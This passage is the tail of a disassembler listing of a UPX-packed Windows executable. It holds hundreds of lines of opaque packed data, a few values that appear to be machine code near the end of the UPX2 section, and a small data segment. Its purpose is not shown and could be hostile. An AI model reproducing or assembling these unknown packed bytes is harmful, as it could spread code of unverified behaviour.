		dd 69D9B1Eh, 0E63C7470h, 935FD87Ah, 0E264FCF8h,	857C8EE3h
		dd 6ACEEC07h, 16A66396h, 0ED408F42h, 66757B41h,	0AADCD490h
		dd 31CB9B93h, 598753F6h, 0E518280Fh, 62B9CD2Eh,	0A940D074h
		dd 725581CFh, 46ED5B5Eh, 6C7C3430h, 0F36FC807h,	0A2583995h
		dd 2E3388AEh, 0E8F7FC0h, 0F286C886h, 6FCD1315h,	9E18FA46h
		dd 6AF8011Dh, 0B3335026h, 2545E86h, 8C206D4Dh, 9AE7B472h
		dd 698CC75Dh, 32948108h, 0F6EF239Eh, 0CA7867BDh, 5653B0C6h
		dd 76A37FD8h, 6C80CDEDh, 0AA5E1412h, 84F855E9h,	7CBAC3Ah
		dd 5E58460Ch, 259CC108h, 0F670A7E3h, 0C218357Ah, 71A4A88Eh
		dd 5A38F1ADh, 184040B6h, 795103DFh, 35E8D8DEh, 0C9D7A5B4h
		dd 0A3F82032h, 1BDBC3E9h, 0FE7AB093h, 0B93BA142h, 96221CD3h
		dd 2AF16F6Ah, 9788283Ch, 0FADEE017h, 8DB05BA6h,	9286403Fh
		dd 75D01ACEh, 0AAED467h, 0DB6972F6h, 0C214CC0Ah, 61C0AF6Ch
		dd 0C73C6432h, 0D7DBCC08h, 0A067FE71h, 4AFDF37Eh, 0F8C84C0h
		dd 5664E39Ah, 563B1D55h, 35A9E49Ah, 2F5307C9h, 76E0D27Eh
		dd 3AB1D79Ah, 0E618384Ch, 25D300B1h, 0A6406957h, 7C210C4Ah
		dd 4C641F75h, 23B1F7Bh,	29AC7289h, 0ADED4365h, 91463A2Bh
		dd 1EF0DF3Dh, 2F648757h, 2D0BECEAh, 0DCE35701h,	0A38CE93h
		dd 78D05026h, 0ECFDC09h, 0ADD6F6Ah, 136CA420h, 76C240F3h
		dd 0BA2DC18Ah, 0FDA818B7h, 0DAFE9C37h, 3375D6C6h, 61225794h
		dd 6CD35CACh, 14AD20Eh,	95A127FEh, 9734AC2Ah, 0D748783Eh
		dd 7403B814h, 638F47A5h, 0C294E204h, 8187404Fh,	5AAD6E27h
		dd 4C9410B6h, 0D2B66E2h, 0AED6064Bh, 0D53C21F2h, 5715F809h
		dd 0AECC3C1Ah, 6C7F7CAh, 0BA4CD453h, 0C014C505h, 1110003h
		dd 6CFD5B1Bh, 0ABE570FBh, 0FA052FA6h, 7DC48CF8h, 5EE65A5Bh
		dd 4E69BDE2h, 0E0010B4h
		dd 0B214CC13h, 1F7CFD4Dh, 3D730159h, 65225528h,	0B2149532h
		dd 0C70EA11Ch, 1FEBF1EEh, 1B483796h, 0FA4BD342h, 0DEC8F8ADh
		dd 0CF8EA181h, 49FE495h, 2B760C9Fh, 6B744178h, 8D2C9145h
		dd 59A8FFDEh, 724664B5h, 5B3B585Eh, 611F4530h, 0A4C080F3h
		dd 0CECDCAF3h, 6EDDEFCBh, 0D2EEBC95h, 1E08DF29h, 81F4ECEAh
		dd 0FF60FB9Bh, 2479E37Ch, 50592449h, 6B364C43h,	0AB348138h
		dd 0CD6CD105h, 99677F9Eh, 0BFC01C75h, 0EE95881Bh, 9AD88EB2h
		dd 6987B1ACh, 72DA964Fh, 0AC4C1EEh, 0C42A81FDh,	60AE006h
		dd 0D37C11A7h, 0E18782Eh, 0BAE9BB02h, 9E70005Bh, 0C280DC7Bh
		dd 0D999C2DAh, 18F8E15Dh, 4C9440A6h, 672B5BCEh,	0BEF89A8Ah
		dd 75E86071h, 46523CB3h, 40B1C31Ah, 0B1381810h,	0F2F95981h
		dd 0D060B017h, 6C12F995h, 0E60B386Eh, 51180B6Dh, 3FB0D0A6h
		dd 9286C43Fh, 18D802CEh, 244EA11Dh, 268500E6h, 0B2B04805h
		dd 0BE03981Eh, 49563462h, 7E515A16h, 2264FC5Ah,	0ECED3738h
		dd 0F98C84BCh, 0C2AF9F6Eh, 12B42AADh, 9C947D37h, 2751C4C2h
		dd 76E0D286h, 6CC977h, 5C49281Eh, 257CF448h, 0B67EAEA3h
		dd 8DAC0F4Ah, 3BBDDC51h, 0A162472h, 94CC4579h, 375BBC8Ah
		dd 6EA8B6C4h, 3533AC41h, 6E59E52h, 0A27165EAh, 0AD08A8BCh
		dd 3BDF87DBh, 325A0176h, 5EF1E36Bh, 3158F80Ch, 8A52F2F7h
		dd 69400576h, 3291D60Eh, 77612B9Eh, 0DAFE9037h,	0C781E1C6h
		dd 6DE463B2h, 0BB0718EEh, 0FA1C2A8Ch, 422F2093h, 9234A979h
		dd 1C30FDB7h, 929F4442h, 0F670628Dh, 35BC97F1h,	9EA12C0Bh
		dd 5AAC74A2h, 25C63596h, 0E2C4644Fh, 0BD3AEBDEh, 7D0D5333h
		dd 0D295F9E7h, 9A242C58h, 0EE3821A1h, 0B9709FC9h, 9670C8D3h
		dd 51A65F6Ah, 0E979CFBFh, 96198D73h, 75B0C0E4h,	848F2BB5h
		dd 0C3ED8B37h, 0ADE32CB1h, 360314B5h, 9AD5A743h, 44A9481Dh
		dd 2455136Dh, 954D44BFh, 9065F020h, 9233438Eh, 7998D609h
		dd 22D70D4h, 0CB43D3E2h, 5BF3399Dh, 0AACC86A2h,	52A41B25h
		dd 0CDC46FEAh, 0E18908Ch, 15A73722h, 1BCDCBDDh,	7244CD02h
		dd 0DB7D3A2h, 6B4088BBh, 0ACACF6F4h, 8288BEEDh,	1AE4B404h
		dd 4EE2682Eh, 73E01C0Bh, 593D0F02h, 0C64D85FFh,	61688457h
		dd 6473031Bh, 31C1133Ah, 45A717B1h, 0D33B8961h,	0E28FC338h
		dd 0CD6BB3ACh, 0ABEB4FA3h, 0D138EBFCh, 0AB2F4F39h, 50D73F8Dh
		dd 0D1E8CCE1h, 0AA31EBFDh, 0C96FB445h, 6DCBA9AEh, 0B6934BC1h
		dd 0D5A3BA7Fh, 0C980013h, 2A7B2386h, 716756AFh,	0A440F0ADh
		dd 0F4F3BF49h, 0F2D41A22h, 418B30DEh, 8A145B0Dh, 0B107006h
		dd 1637D19Bh, 14D1083Eh, 0DE4CD441h, 33EB92A9h,	52642E12h
		dd 78AAB11Ah, 0B0D13A13h, 0B55355A9h, 0DC4F9CBAh, 28066BF2h
		dd 5FBC0F63h, 0E5D385F9h, 0F1E3CC0Ah, 7E089808h, 8CB96B32h
		dd 0E0503045h, 0ED66A019h, 0AE7B74EAh, 72CF1F82h, 0E600C0ABh
		dd 0BC30230Ah, 0E3C8F8BDh, 8AFCE4F2h, 755314E9h, 0C98F5CFAh
		dd 0E1828C6h, 327DE2C1h, 59BF2FBEh, 30E80149h, 0F06B584Eh
		dd 0A3C45F1h, 0D6D49105h, 5D5A2772h, 143A8751h,	0B9CC54C1h
		dd 16A2E073h, 907FECEAh, 8E4233F6h, 6E6F4539h, 33DB9015h
		dd 48CDD439h, 4EDD615Eh, 996CA420h, 66388C3Ch, 63944D8Ah
		dd 14EA676h, 4829D44Dh,	27D0A0FFh, 0E1514CFAh, 44F858D7h
		dd 0A2C5EA22h, 62C8F46Eh, 17CB53CCh, 9CDC77ECh,	0BF6DA681h
		dd 0F66029E2h, 47733991h, 8E88910Ah, 5BAC74A2h,	0A33762C2h
		dd 0F2C4354Eh, 0BEE8D8DDh, 2F7DA887h, 56004982h, 0D9DBC3E5h
		dd 63B902C5h, 0BA5CEDC6h, 8E60A056h, 52746A02h,	18E0617Eh
		dd 0B29C0492h, 4956864Eh, 0FE411645h, 0C8D878F7h, 23901E66h
		dd 638800E6h, 0B204F576h, 0FBDF78FCh, 4A2C5DB6h, 1650304Eh
		dd 5FE4F52Fh, 0AE68F110h, 8D49E083h, 5699E413h,	12B42CAAh
		dd 5ED38CB6h, 0BAE5B86Fh, 0C68495E6h, 7B79E17Ah, 7A1D281Eh
		dd 0A4917485h, 0A340D00Fh, 0F7A3123Eh, 3E7861DAh, 1A7C2472h
		dd 6B10F9F2h, 0A2B485E6h, 0ED31FFACh, 2A8E9067h, 0A00820D6h
		dd 3A0B1318h, 61F745BDh, 6A1EF5FAh, 4AADDB26h, 1440C78h
		dd 0DE1A68D3h, 66375C62h, 0E28F7F89h, 32944EDBh, 0BCD0AD15h
		dd 9437E4A2h, 7E0EB3FAh, 9D1B8186h, 2CC3CAE1h, 0B08D1402h
		dd 0C6208032h, 0C0CA27CAh, 4A327B68h, 0DD4C3E51h, 0E64994E3h
		dd 0C284DC7Ah, 78CDDAEh, 4AEEBC1Fh, 0B675CDB6h,	79D41CF3h
		dd 0AEF8B053h, 0DD5857F2h, 561A14BFh, 2291B11Ah, 1D38183Eh
		dd 594C65E7h, 71C45354h, 424DE8EFh, 1E88387Eh, 44180BB2h
		dd 49B0D0A6h, 532CB4C9h, 0C5279723h, 0AAE8C77h,	0E9D285F6h
		dd 0B214548Eh, 69D131Eh, 0C13C7470h, 5CD1200Ch,	0E2649C7Eh
		dd 0A632E38Eh, 0B3BF96F1h, 7DB41295h, 2A44427h,	0B64573BEh
		dd 0D8DCD4C2h, 52CC1BB0h, 526CF979h, 8D18281Eh,	0DA2C9C85h
		dd 0DCCBC036h, 7A1E8D42h, 0C9EFAF5Dh, 48F0A1F9h, 5367F096h
		dd 0A2B4851Eh, 6EB888EEh, 223B56B6h, 2FEC52D5h,	164165DAh
		dd 1508A8BCh, 5A1DAC61h, 0FB4D5D1h, 2041C2Ah, 0CC2CE84Eh
		dd 723DAC95h, 997F7C5Dh, 3198A7D3h, 8C8330EDh, 39EAB5BEh
		dd 1B89EF62h, 72DDEC6Fh, 0E645C1EEh, 90C0440h, 0C97EBFB2h
		dd 15B93E1Bh, 5E487901h, 13DED168h, 0F0051076h,	94FC0E13h
		dd 7FEBABAh, 7D449DF2h,	7C3FBF6Ch, 0F1D84641h, 3B1FC894h
		dd 8AEC9D76h, 76107006h, 57217D97h, 2AB5813Dh, 0B94CC400h
		dd 9670C8D3h, 3AD3EF6Ah, 1E88387Eh, 63B447B9h, 0B6B08321h
		dd 0C2416BBAh, 4FD878F1h, 6EEC34E2h, 0EE43C7F1h, 12B46CAAh
		dd 47AC1DE9h, 4A3C6422h, 11242046h, 153F1408h, 25223791h
		dd 6ACE500Fh, 0CFA58396h, 1F5F04E1h, 9C087535h,	0A83FC4C2h
		dd 3D7B930Dh, 0C681ABD2h, 0D183837h, 0AE2CF422h, 6EC54B22h
		dd 71549C08h, 2E2AE8D3h, 0A6F92772h, 0D790E0C4h, 0B2EE3792h
		dd 2CC40D25h, 70F554D2h, 8FE353DEh, 90F5E4A0h, 0C66B3BEEh
		dd 0EE990F12h, 5E304064h, 24435AAh, 9750AA4Fh, 103CF763h
		dd 76B902E3h, 0B611BB8Ah, 0FEA808A7h, 0BE9CE4B2h, 0FE5DB3C0h
		dd 0D4E46CCAh, 0AA7DBFEEh, 0FA0C043Bh, 0B320E216h, 65F2523Eh
		dd 4E71FCBBh, 2E5C4452h, 7C766566h, 0D2BD5FCFh,	0A1D5F8Eh
		dd 5AAC649Bh, 53C040F6h, 0F0D386C1h, 68EA721Ch,	83175310h
		dd 9422778Ch, 0C0F23EB0h, 8AEA3BD9h, 3528F6C9h,	3BE3F854h
		dd 52642E36h, 0A10C377Eh, 1563FB68h, 0A6F2A813h, 305163BAh
		dd 0B1D878F0h, 0AAE4057h, 0C095FFF6h, 3F14DC34h, 6E6AF893h
		dd 22A9E932h, 47502004h, 1D649608h, 0BE3A94DBh,	0DC196B82h
		dd 0B9A070A8h, 2F6701Fh, 0F85D07BEh, 27DCD4ECh,	66B1D853h
		dd 1AB1A3FAh, 5818384Ch, 0E48E61DDh, 3C3C026h, 7244CE16h
		dd 3E809B5Eh, 577C2472h, 3B11F1ECh, 0A2B48415h,	0AFB778F6h
		dd 2AD9D447h, 0C520A5D6h, 220B2469h, 1E8D79F1h,	0A91C9407h
		dd 1C30401Bh, 6458693Ah, 0C27C94CFh, 8919C50Eh,	99446816h
		dd 37E1B375h, 152AD76h,	356E0C4Dh, 0B8B14F39h, 349C5125h
		dd 0B405ADAh, 9A0C1402h, 39DF45FEh, 190DD9D5h, 0D3785C7Ah
		dd 3A1D0CE7h, 0FE209B66h, 0C4BE5D1Ch, 0D8BDDB8Ch, 0A5AC74CAh
		dd 4C04CBB6h, 0D845ECAh, 0AED62A4Bh, 823827F2h,	694C4E87h
		dd 21516025h, 63CCEADh,	45B32E20h, 799FDFBEh, 0EAB70D95h
		dd 1E88380Ah, 0C524B579h, 5EB0D0A6h, 82C49CA7h,	0F6D8480Ch
		dd 1AEC34D2h, 0E600101Eh
		dd 0B2300E0Ah, 7E291DA6h, 4A3F8C32h, 3A923046h,	0C630715Ah
		dd 2D560562h, 63F0947Ah, 46A088F6h, 463F2CAAh, 5595C89Ah
		dd 0CC3145C8h, 9EF080DFh, 0BDFBBC1Dh, 0E1CEA6Fh, 0DF2EF225h
		dd 0B688C135h, 6CC7A502h, 0AA0015FFh, 0FF8B0041h, 0D289F5F8h
		dd 0EE8h, 0F9DB8900h, 0C3E8h, 5AE99000h, 67000000h, 36FF64h
		dd 79253100h, 0F8314282h, 26896467h, 0D2310000h, 52525252h
		dd 68h,	68525280h, 80000000h, 15FF5252h, 3142808Ch, 68D231h
		dd 68800000h, 80000000h, 68525252h, 8000h, 68h,	685280h
		dd 52800000h, 68h, 0FF525280h, 42808C15h, 89C98931h, 0DB87F9DBh
		dd 0BCh, 8F64F500h, 5, 0F8FC5A00h, 0C929D229h, 8DD5B1FCh
		dd 0FCF90152h, 0F77549FCh, 2E8h, 59DB8900h, 629DE981h
		dd 3151FFFFh, 7DCF81FFh, 8700002Ah, 0E8C089DBh,	2Bh, 83F590F5h
		dd 4F4201C1h, 0FF83F5h,	21Eh dup(0)
		dd 7FFDE000h, 134Ch dup(0)
UPX2		ends

; Section 4. (virtual address 00022000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00022000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 31442000h
		dd 80h dup(0)
		align 1000h
_idata2		ends


		end start